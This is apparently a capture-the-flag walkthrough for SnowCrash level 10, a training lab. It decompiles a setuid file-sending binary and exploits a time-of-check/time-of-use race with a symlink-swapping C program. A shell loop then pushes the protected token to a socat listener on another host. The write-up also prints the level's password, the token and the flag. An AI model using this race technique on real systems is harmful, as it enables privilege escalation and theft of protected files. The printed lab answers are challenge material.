# Level 10 ## how to login username: level10 password: s5cAJpM8ev6XHw998pRWG728z ## Goal run `getflag` as user `flag10` ## Actually doing something ```bash level10@SnowCrash:~$ ll total 28 dr-xr-x---+ 1 level10 level10 140 Mar 6 2016 ./ d--x--x--x 1 root users 340 Aug 30 2015 ../ -r-x------ 1 level10 level10 220 Apr 3 2012 .bash_logout* -r-x------ 1 level10 level10 3518 Aug 30 2015 .bashrc* -rwsr-sr-x+ 1 flag10 level10 10817 Mar 5 2016 level10* -r-x------ 1 level10 level10 675 Apr 3 2012 .profile* -rw------- 1 flag10 flag10 26 Mar 5 2016 token ``` not so lukcy this time, flag isn't readable... lets run the executable and see what it does ```bash level10@SnowCrash:~$ ./level10 ./level10 file host sends file to host if you have access to it level10@SnowCrash:~$ ./level10 token 192.168.92.90 You don't have access to token level10@SnowCrash:~$ ./level10 .profile 192.168.92.90 Connecting to 192.168.92.90:6969 .. Connected! Sending file .. Damn. Unable to open file ``` this seems fishy, lets view it in ida this time... ```c int main(int argc, const char **argv, const char **envp) { int *errno; // eax char *errno_str; // eax const char *file; // [esp+28h] [ebp-1028h] const char *host; // [esp+2Ch] [ebp-1024h] int socket; // [esp+30h] [ebp-1020h] int fd; // [esp+34h] [ebp-101Ch] ssize_t read_ret; // [esp+38h] [ebp-1018h] _BYTE buf[4096]; // [esp+3Ch] [ebp-1014h] BYREF struct sockaddr addr; // [esp+103Ch] [ebp-14h] BYREF unsigned int v13; // [esp+104Ch] [ebp-4h] v13 = __readgsdword(0x14u); if ( argc <= 2 ) { printf("%s file host\n\tsends file to host if you have access to it\n", *argv); exit(1); } file = argv[1]; host = argv[2]; if ( access(file, 4) ) return printf("You don't have access to %s\n", file); printf("Connecting to %s:6969 .. ", host); fflush(stdout); socket = ::socket(2, 1, 0); *(_DWORD *)&addr.sa_data[6] = 0; *(_DWORD *)&addr.sa_data[10] = 0; addr.sa_family = 2; *(_DWORD *)&addr.sa_data[2] = inet_addr(host); *(_WORD *)addr.sa_data = htons(0x1B39u); if ( connect(socket, &addr, 0x10u) == -1 ) { printf("Unable to connect to host %s\n", host); exit(1); } if ( write(socket, ".*( )*.\n", 8u) == -1 ) { printf("Unable to write banner to host %s\n", host); exit(1); } printf("Connected!\nSending file .. "); fflush(stdout); fd = open(file, 0); if ( fd == -1 ) { puts("Damn. Unable to open file"); exit(1); } read_ret = read(fd, buf, 0x1000u); if ( read_ret == -1 ) { errno = __errno_location(); errno_str = strerror(*errno); printf("Unable to read from file: %s\n", errno_str); exit(1); } write(socket, buf, read_ret); return puts("wrote file!"); } ``` Seems pretty straight forward, lets to create a file and listen to it using socat on the host machine ```bash # vm level10@SnowCrash:~$ echo "file" >/tmp/file level10@SnowCrash:~$ ./level10 /tmp/file 192.168.92.90 Connecting to 192.168.92.90:6969 .. Connected! Sending file .. wrote file! ``` ```bash # host ❯ socat TCP-LISTEN:6969,fork stdio .*( )*. file ``` we got the file ! now the issue is that we can't send the token file direcly because it seems there isnt the litlle setuid dance we have come to expect... lets try to use a symlink ? ```bash level10@SnowCrash:~$ ln -s $(realpath token) /tmp/tok2 level10@SnowCrash:~$ ./level10 /tmp/tok2 192.168.92.90 You don't have access to /tmp/tok2 ``` When looking at the code, we have a check for permission (`access`) THEN we open the file using `open` What if we try really hard to make it so when the program check for the file permission using access, it is a file we have full permission, but when it opens the file, it is changed to be the token file (a symlink to it) lets write a little code for that: ```c #include #include #include int main(int argc, char **argv) { if (argc < 2) { fprintf(stderr, "%s: \n", argv[0]); return 1; } const char *file = argv[1]; const char *target = argv[2]; int fd = -1; while (1) { unlink(file); fd = open(file, O_CREAT | O_RDWR | O_TRUNC, 0777); close(fd); unlink(file); symlink(target, file); } } ``` copy this to the VM (in /tmp), compile it, and run it ```bash # shell 1 level10@SnowCrash:~$ /tmp/toctou /tmp/tok2 $(realpath token) ``` in shell 2 run something like this: ```bash level10@SnowCrash:~$ while true; do ./level10 /tmp/tok2 192.168.92.90; done ``` since the issue (Named TOCTOU for `Time of Check - Time of Use`) is by nature time sensitive, we run it as long as we need to, hoping for at least ONE single nice happy path :D and on the host, we get this: ```bash ❯ socat TCP-LISTEN:6969,fork stdio .*( )*. .*( )*. .*( )*. .*( )*. .*( )*. .*( )*. .*( )*. .*( )*. .*( )*. .*( )*. .*( )*. .*( )*. .*( )*. .*( )*. .*( )*. .*( )*. .*( )*. .*( )*. .*( )*. .*( )*. .*( )*. .*( )*. .*( )*. .*( )*. .*( )*. .*( )*. .*( )*. .*( )*. .*( )*. .*( )*. .*( )*. .*( )*. .*( )*. .*( )*. .*( )*. .*( )*. .*( )*. .*( )*. .*( )*. .*( )*. .*( )*. .*( )*. .*( )*. .*( )*. .*( )*. .*( )*. .*( )*. .*( )*. .*( )*. .*( )*. .*( )*. .*( )*. .*( )*. .*( )*. .*( )*. .*( )*. .*( )*. .*( )*. .*( )*. woupa2yuojeeaaed06riuj63c .*( )*. .*( )*. .*( )*. .*( )*. woupa2yuojeeaaed06riuj63c .*( )*. .*( )*. .*( )*. .*( )*. woupa2yuojeeaaed06riuj63c .*( )*. .*( )*. .*( )*. .*( )*. .*( )*. .*( )*. .*( )*. .*( )*. .*( )*. .*( )*. .*( )*. .*( )*. .*( )*. .*( )*. .*( )*. .*( )*. .*( )*. .*( )*. .*( )*. .*( )*. .*( )*. .*( )*. .*( )*. .*( )*. .*( )*. .*( )*. .*( )*. .*( )*. .*( )*. .*( )*. .*( )*. .*( )*. .*( )*. .*( )*. .*( )*. .*( )*. .*( )*. .*( )*. .*( )*. .*( )*. .*( )*. .*( )*. .*( )*. .*( )*. .*( )*. .*( )*. .*( )*. woupa2yuojeeaaed06riuj63c .*( )*. .*( )*. .*( )*. .*( )*. .*( )*. .*( )*. .*( )*. .*( )*. .*( )*. .*( )*. ``` we get lots of empty files (the one we try to trick the permission check with), and few token :D ```bash level10@SnowCrash:~$ su flag10 -c getflag Password: Check flag.Here is your token : feulo4b72j7edeahuete3no7c ```